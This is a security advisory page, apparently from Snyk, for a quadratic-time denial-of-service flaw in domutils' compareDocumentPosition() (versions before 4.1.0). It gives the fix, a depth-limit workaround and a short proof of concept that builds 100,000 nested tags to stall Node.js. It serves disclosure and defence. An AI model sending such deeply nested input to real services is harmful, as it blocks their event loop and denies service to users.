Inefficient Algorithmic Complexity Affecting domutils package, versions >=1.5.0 <4.1.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-DOMUTILS-23745880
  • published4 Dec 2026
  • disclosed4 Dec 2026
  • creditZachariah Mithani, Ugur Celik

Introduced: 4 Dec 2026

NewCVE-2026-145158  (opens in a new tab)
CWE-407  (opens in a new tab)

How to fix?

Upgrade domutils to version 4.1.0 or higher.

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via compareDocumentPosition(), which builds each node's ancestor chain using unshift(), causing every existing entry in the chain to be shifted on each insertion and making the comparison take time quadratic in the nesting depth of the nodes. An attacker can supply an HTML or XML document with deeply nested elements and trigger a comparison or sort via uniqueSort() to block the Node.js event loop.

Workaround

Reject documents nested deeper than the application requires before comparing or sorting their nodes.

PoC

import { parseDocument } from "htmlparser2";
import { compareDocumentPosition } from "domutils";

let parent = parseDocument("<b>".repeat(100_000) + "<i></i><u></u>");
while (parent.children.length === 1) parent = parent.children[0];
console.time("compare");
compareDocumentPosition(parent.children[0], parent.children[1]); // about 1 s with domutils 4.0.2
console.timeEnd("compare");

Note: The PoC states it takes about 1 second with domutils 4.0.2 on Node.js.

CVSS Base Scores

version 4.0
version 3.1